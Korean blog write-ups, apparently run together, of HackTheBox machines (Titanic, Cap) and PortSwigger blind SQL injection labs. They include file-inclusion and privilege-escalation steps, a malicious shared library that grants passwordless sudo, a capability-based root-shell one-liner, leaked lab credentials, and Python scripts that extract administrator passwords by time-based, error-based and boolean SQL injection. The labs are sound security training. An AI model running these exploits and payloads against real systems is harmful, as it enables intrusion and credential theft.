Port Scan

Host is up (0.36s latency).  
Not shown: 998 closed tcp ports (reset)  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)  
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)  
80/tcp open  http    Apache httpd 2.4.52  
| http-server-header:    
|   Apache/2.4.52 (Ubuntu)  
|_  Werkzeug/3.0.3 Python/3.10.12  
|_http-title: Titanic - Book Your Ship Trip  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 473.70 seconds

 

- SSH와 HTTP가 열려있다.

HTTP 서버에 접속하기 전에 해야 할 것
- `/etc/hosts`에 `10.10.11.55 titanic.htb`추가하기

 

User Flag

웹 사이트는 이렇게 생겼다

 

burp suite를 통해 살펴보자.

데이터를 전송하면, 응답으로 /download디렉터리에서 json파일을 다운로드한다.
여기서 File Inclusion이 발생한다.

`/etc/passwd`를 출력시켜 보자.

developer라는 계정이 있다는 것을 알 수 있다.

 

user flag를 알아내고 말았다.

Root Flag

먼저 `/etc/hosts`파일을 살펴보자.

`dev.titanic.htb`라는 새로운 URL을 발견했다.

Gitea를 사용하여 Github를 호스팅 하고 있는데, 2개의 저장소가 있는 것을 알 수 있다.

 

각 저장소를 살펴본 결과

경로 - developer/docker-config/mysql/docker-compose.yml
services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always


경로 - developer/docker-config/gitea/docker-compose.yml
services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

`/home/developer/gitea/data`에 뭐가 있을 것 같다.

 

Gitea `/data/` 디렉터리 구조

/data/
├── git/
│   └── repositories/             # 모든 Git 리포지토리 데이터 저장 (예: user/repo.git)
│       └── <user_or_org_name>/
│           └── <repo_name>.git/
├── gitea/
│   ├── conf/                     # Gitea의 주요 설정 파일 (app.ini) 및 사용자 정의 파일
│   │   └── app.ini
│   ├── gitea.db                  # SQLite 데이터베이스 파일 (SQLite 사용 시)
│   ├── indexers/                 # 코드 검색 (Bleve) 및 이슈 인덱서 데이터
│   │   ├── issues.bleve/
│   │   └── code.bleve/
│   ├── lfs/                      # Git Large File Storage (LFS) 데이터
│   ├── log/                      # Gitea 서버 로그 파일 (gitea.log, http.log, xorm.log 등)
│   │   └── gitea.log
│   ├── sessions/                 # 사용자 세션 데이터 (파일 기반 세션 사용 시)
│   └── attachments/              # 이슈, 댓글, 릴리스 등에 첨부된 파일
├── ssh/                          # Gitea에서 사용하는 SSH 키페어 및 `authorized_keys` 관련 파일
│   └── authorized_keys
│   └── gitea-ssh-host-key
│   └── gitea-ssh-host-key.pub
└── tmp/                          # 임시 파일 저장소

출처: Gemini

 

`/home/developer/gitea/data/gitea/conf/app.ini`

`/data/gitea/gitea.db`라는 db파일이 있고, sqlite3을 사용한다.

db파일을 다운로드하고, sqlite3로 열어보자.

. tables를 입력해 user 테이블이 있는 것을 확인했고
`SELECT * FROM user`를 통해 아래 데이터를 얻었다.

1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d  
2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28f  
c9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0  
|0|0|0||gitea-auto|0  

2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5  
dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34  
|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2  
|0|0|0|0||gitea-auto|0

- administrator, developer계정에 대한 정보를 찾았다.
- ID : developer
- PW : 25282528

SSH로 접속해 보자.

developer@titanic:~$ ls -l /opt/scripts/  
total 4  
-rwxr-xr-x 1 root root 167 Feb  3 17:11 identify_images.sh  
developer@titanic:~$ cd /opt/scripts/  
developer@titanic:/opt/scripts$ ls  
identify_images.sh  
developer@titanic:/opt/scripts$ cat identify_images.sh    
cd /opt/app/static/assets/images  
truncate -s 0 metadata.log  
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

 

`magick`에서 취약점이 발생한다.

developer@titanic:/opt/scripts$ magick --version  
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org  
Copyright: (C) 1999 ImageMagick Studio LLC  
License: https://imagemagick.org/script/license.php  
Features: Cipher DPC HDRI OpenMP(4.5)    
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml z  
lib  
Compiler: gcc (9.4)

 

ImageMagick은 이미지 처리에서 널리 사용되는 강력한 도구이지만, 그 복잡성 때문에 지속적으로 보안 취약점이 발견될 수 있습니다. ImageMagick 7.1.1-35 버전 역시 예외는 아닙니다.

ImageMagick 7.1.1-35에 직접적으로 영향을 미치는 것으로 알려진 주요 취약점 (CVE-2024-41817)이 있습니다.

- CVE-2024-41817: Arbitrary Code Execution (임의 코드 실행)
    - 설명: `AppImage` 버전의 ImageMagick 7.1.1-35 이전 버전에서 `MAGICK_CONFIGURE_PATH` 및 `LD_LIBRARY_PATH` 환경 변수를 설정할 때 빈 경로를 사용할 수 있는 문제가 발견되었습니다. 이는 ImageMagick이 악성 설정 파일이나 공유 라이브러리를 현재 작업 디렉터리에서 로드하여 임의 코드 실행으로 이어질 수 있습니다.
    - 영향: 공격자가 이 취약점을 성공적으로 악용하면, ImageMagick이 실행되는 시스템에서 임의의 명령을 실행할 수 있게 됩니다. 이는 데이터 유출, 무단 액세스, 그리고 시스템의 추가적인 악용으로 이어질 수 있는 심각한 결과를 초래합니다. 특히 웹 서버와 같이 신뢰할 수 없는 입력을 처리하는 환경에서 위험합니다.
    - 해결: 이 취약점은 ImageMagick 7.1.1-36 버전에서 수정되었습니다. 따라서 7.1.1-35 버전을 사용하고 있다면 **최신 버전 (7.1.1-36 이상)**으로 업데이트하는 것이 가장 중요합니다.
※ 출처 : Google Gemini

 

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}

 

developer@titanic:/opt/app/static/assets/images$ find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/  
magick identify >> metadata.log  
-bash: metadata.log: Permission denied  
developer@titanic:/opt/app/static/assets/images$ sudo cat /root/root.txt  
89b3b23a3f6fb19d1212c3f6a5a96e24

'HackTheBox' 카테고리의 다른 글

[HTB] Cap  (1) 2025.06.10
[HTB] Unified  (0) 2023.03.29
[HTB] Vaccine  (0) 2023.03.25
[HTB] Oopsie  (0) 2023.03.23
[HTB] ArcheType  (0) 2023.03.23

- 리눅스 문제고 난이도는 쉬움이다.
- 아직 초보니까 가이드 모드로 문제를 풀자.

먼저 Port Scan을 하자.

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 12:29 KST  
Nmap scan report for 10.10.10.245  
Host is up (0.25s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT   STATE SERVICE VERSION  
21/tcp open  ftp     vsftpd 3.0.3  
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)  
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)  
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)  
80/tcp open  http    Gunicorn  
|_http-title: Security Dashboard  
|_http-server-header: gunicorn  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 108.65 seconds

 

- 21(SSH), 22(FTP), 80(HTTP) 3개의 TCP port가 발견되었다.

먼저 web page로 이동해 보면 4개의 메뉴가 있다.

  • Dashboard
  • Security snapshot
    • 먼저 URL을 보면 ID값을 바꿀 수 있다.
  • IP Config
    • ifconfig명령을 실행해주는 화면이다.
    • eth0 장치에 10.10.10.245가 할당되었다고 보여준다.
  • Network Status
    • netstat명령의 결과를 보여준다.

 

Dashboard에서 URI를보면 /data/[ID] ID값을 바꿀 수 있다.

- Download를 누르면 pcap파일을 받을 수 있다.

 

다운로드 경로를 한 번 찾아보자.

- /download/[ID] 에서 해당 ID에 맞는 pcap파일을 받아온다.

 

/data/0으로 id값을 바꾸고, pcap파일을 받아서 열어보자.

FTP에 로그인한 기록이 있다.
- ID : nathan
- PW : Buck3tH4TF0RM3!

FTP에 접속해 보자.


user.txt파일이 있다.
다운로드 받아서 열어보자.


user에 해당하는 flag가 들어가 있다.

이제 root로 권한 상승해 보자.
아까 port scan결과를 보면, ssh port가 열려있는 것을 알 수 있다.
ssh로 접속해 보자.


접속이 되는 것을 확인할 수 있다.


쓰기 권한과 실행 권한이 있으니, linpeas를 받아서 실행해 보자.


python3.8에 Capabilities가 설정되어 있다고 나온다.
- cap_setuid : 프로세스가 유효 사용자 ID를 설정할 수 있도록 허용한다. 
- 다른 사용자 권한으로 실행될 수 있다.
- cap_net_bind_servbice : 프로세스가 1024번 미만의 privilege port에 binding 할 수 있도록 허용한다.
- 일반 사용자는 기본적으로 1024번 미만의 port에 binding할 수 없다.(Service들이 사용함)
- +eip : 실행(Effective), 상속(Inheritable), 허용(Permitted) 집합에 모두 포함되어 있음을 나타낸다.

즉, python3.8을 이용하여 root권한을 얻을 수 있다!!

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'



결과!!

'HackTheBox' 카테고리의 다른 글

[HTB] Titanic  (1) 2025.06.10
[HTB] Unified  (0) 2023.03.29
[HTB] Vaccine  (0) 2023.03.25
[HTB] Oopsie  (0) 2023.03.23
[HTB] ArcheType  (0) 2023.03.23

SQL쿼리의 결과를 반환하지 않으며 오류 또한 반환되지 않는다.

쿼리가 동기적으로 실행되므로 조건문과 sleep같은 함수를 사용하여 정보를 알아낼 수 있다.

SELECT CASE WHEN (조건) THEN (True일 경우) ELSE (False일 경우) END FROM Table_name

 

재대로 동작하지 않는다

코드를 보면 세미콜론(;) 때문에 코드가 작동하지 않는다.

세미콜론(;)은 ASCII Code로 0x3B다.

ascii코드로 바꿔서 다시 보내보자.

코드가 제대로 작동하는 것을 볼 수 있다.

 

이제 코드를 이용하여 password를 알아낼 수 있다.

import requests
import time

url='https://0acb009504d65dc0820689980081002c.web-security-academy.net/filter?category=Gifts'
cookie={
        "session":"e1nz8LFZyD4BiE3jPCivKoNlehCWfqNC",
        "TrackingId":"ztbbNPivM9dswBDh"
}

def find_password_length():
    for idx in range(1, 51):
        payload=f"'%3BSELECT CASE WHEN LENGTH(password)={idx} THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--"
        cookie["TrackingId"]=payload
        
        start_time=time.time()
        response=requests.get(url, cookies=cookie)
        end_time=time.time()

        real_time=end_time-start_time

        if real_time > 10:
            print(f"Find Password : {idx}")
            return idx
    return

def find_password(password_length):
    password=''
    for idx in range(1, password_length+1):
        for ascii_chr in range(32, 127):
            payload=f"'%3B SELECT CASE WHEN ASCII(SUBSTR(password, {idx}, 1))={ascii_chr} THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--"
            cookie["TrackingId"]="ztbbNPivM9dswBDh"+payload

            start_time=time.time()
            response=requests.get(url, cookies=cookie)
            end_time=time.time()
            real_time=end_time-start_time

            if real_time > 10:
                password+=chr(ascii_chr)
                print(f"Index[{idx}] -> {chr(ascii_chr)}")
    return password

if __name__ in "__main__":
    password_length=find_password_length()
    if password_length:
        password=find_password(password_length)
        print(f"Password : {password}")
    else:
        print("Error!!!!")

SQL쿼리의 결과가 반환되지 않는다.

조건문을 사용하여, 오류가 발생하면 타이머를 작동시켜 정보를 추론할 수 있다.

users테이블에서 username과 password를 구해보자.

이번에 사용할 함수는 CAST() 함수다.

CAST(컬럼 명, 값 AS 변경하려는 데이터 타입)

 

오류부터 찾아보자.

오류가 발생했다.

오류내용을 보면 TrackingId를 검증하는 쿼리며, id값 뒤에 작은따옴표가 붙는 것을 알 수 있다.

 

작은 따옴표 뒤에 주석을 넣으면 어떻게 될까?

정상적으로 출력된다.

 

CAST함수를 사용하여, users테이블이 존재하는지 확인해 보자.

아!! 앞에 AND가 있기 때문에 반환 값이 bool형식이어야 한다.

 

bool형식으로 다시 보냈다.

 

이번에는 2개 이상의 쿼리가 반환돼서 에러가 발생했다.

코드가 잘렸다...

 

TrackingId를 지우고 다시 보내보자.

제대로 출력된다.

users 테이블이 존재한다는 뜻이다.

 

username을 출력해 보자.

' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

첫 번째 계정이 administrator다.

 

password를 출력해 보자.

Blind SQL injection 문제다.

users 테이블에서 administrator의 password를 알아내는 문제다.

 

오류를 찾아보자.

'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM hello)||'

 

 

dual테이블을 조회했을 때, 정상적으로 화면이 나온다.

 

hello 테이블을 조회하면, 에러가 발생한다.

 

이제 users 테이블이 존재하는지 확인해 보자.

'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE ROWNUM=1)||'

users테이블이 존재하면 정상적으로 출력될 것이고, 존재하지 않는다면 에러가 발생할 것이다.

ROWNUM = 1은 둘 이상의 행(row)을 반환하여 연결이 중단되는 것을 방지하기 위해 추가했다.

결과를 보니 users 테이블이 존재한다.

 

이번에는 테이블 이름을 이무 값이나 줘서 에러가 발생하는지 확인해 보자.

에러가 발생했다.

 

이제 users테이블의 존재 여부를 알아냈으니, administrator계정이 존재하는지 확인해 보자.

'||(SELECT CASE WHEN (1=2) THEN TO_CAHR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

users테이블에 administrator 계정이 존재한다면 화면이 정상적으로 출력될 것이고, 

존재하지 않는다면 에러가 발생할 것이다.

administrator계정이 존재한다.

 

계정이 존재하는 것을 알아냈다. 

이제 비밀번호를 알아내야 하는데, 먼저 비밀번호의 길이를 알아내자.

'||(SELECT CASE WHEN LENGTH(password)=1 THEN TO_CHAR(1/0) ELSE '' END WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password, 1, 1)='a' THEN TO_CHAR(1/0) ELSE '' END WHERE username='administrator')||'

 

첫 번째 - password의 길이를 알아내는 코드

두 번째 - password를 알아내는 코드

 

Python으로 BruteForce를 해보자.

import requests

url='https://0a8200c103884ce083f500ee006a00f6.web-security-academy.net/filter?category=Pets'
cookie={
        'TrackingId':'WuaRGkFSa094KTq0"',
        'session':'00WrSjGAEk59BthjNMCDQ3ySakY5i55g'
}

def find_password_length():
    for idx in range(1, 51):
        payload=f"'||(SELECT CASE WHEN LENGTH(password)={idx} THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
        cookie['TrackingId']='WuaRGkFSa094KTq0'+payload
        response=requests.get(url, cookies=cookie)
        if 'internal' in response.text.lower():
            print(f"Password Length : {idx}")
            return idx
    return

def find_password(password_length):
    password=''
    for idx in range(1, password_length+1):
        for ascii_chr in range(32, 127):
            payload=f"'||(SELECT CASE WHEN ASCII(SUBSTR(password, {idx}, 1))={ascii_chr} THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
            cookie['TrackingId']='WuaRGkFSa094KTq0'+payload
            response=requests.get(url, cookies=cookie)
            if 'internal' in response.text.lower():
                password+=chr(ascii_chr)
                print(f"Index[{idx}] : {chr(ascii_chr)}")
    return password

if __name__ == '__main__':
    password_length=find_password_length()
    if password_length:
        password=find_password(password_length)
        print(f"Password : {password}")
    else:
        print("Error!!!!")

Blind SQL injection을 사용하여 administrator의 password를 알아내면 된다.

이번에는 SQL쿼리 결과를 반환하지 않으며, 쿼리를 반환하는 경우 "Welcome"메시지가 나온다.

welcome 메시지를 나오게 만들어보자.

welcome메시지가 나온다.

 

AND이 후로 Bool로 결과가 나오게 맞춰줘야 한다.

 

우선 users테이블이 있는지 확인해 보자.

' AND (SELECT 'a' FROM users LIMIT 1)='a

 

이번에는 'administrator'계정이 존재하는지 확인해 보자.

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

 

이번에는 password의 길이를 알아보자.

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a

 

password를 한 글자씩 맞춰보자.

' AND (SELECT 'a' FROM users WHERE username='administrator' AND SUBSTRING(password, 1, 1)='a')='a

 

import requests

url = 'https://0a4a00e204226a0980da67d7003400a2.web-security-academy.net/filter?category=Gifts'
cookie={
        "TrackingId" : "TbSAZNivzfgNg7sF",
        "session" : "uaBn1lo0VT4M9KhUlkAGUAZqWapdP6XG"
}

def find_password_length():
    for i in range(1, 51):
        payload=f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)={i})='a"
        cookie['TrackingId']='TbSAZNivzfgNg7sF'+payload
        response=requests.get(url, cookies=cookie)
        if 'welcom' in response.text.lower():
            print(f"Password Length:{i}")
            return i
    return

def find_password(password_length):
    password=''
    for idx in range(password_length+1):
        for ascii_chr in range(32, 127):
            payload=f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND ASCII(SUBSTRING(password, {idx}, 1))={ascii_chr})='a"
            cookie["TrackingId"]='TbSAZNivzfgNg7sF'+payload
            response=requests.get(url, cookies=cookie)
            if 'welcome' in response.text.lower():
                password+=chr(ascii_chr)
                print(f"Index {idx} : {chr(ascii_chr)}")
                break
    return password

if __name__ in "__main__":
    password_length=find_password_length()
    if password_length:
        password=find_password(password_length)
        print(f"Password : {password}")
    else:
        print("Error!!")

한 개의 column에서 username과 password를 출력시켜야 한다.

 

우선 Column이 몇 개인지 확인해 보자.

column은 2개가 있다.

 

이번에는 데이터 타입이 string인 column을 찾아보자.

데이터 타입이 string인 column이 1개뿐이라, username과 password를 한 개의 column에서 출력받아야 한다.

 

다음 구문으로 column을 연결할 수 있다.

'+UNION+SELECT+NULL,+username+||+'~'+||+password+FROM+users+--

쌍 파이프(||)는 칼럼을 연결해 주는 역할을 한다.

 

쌍 파이프와 같은 기능을 하는 함수가 존재한다.(CONCAT)

'+UNION+SELECT+NULL,CONCAT(username,CONCAT('-',password))+FROM+users--

+ Recent posts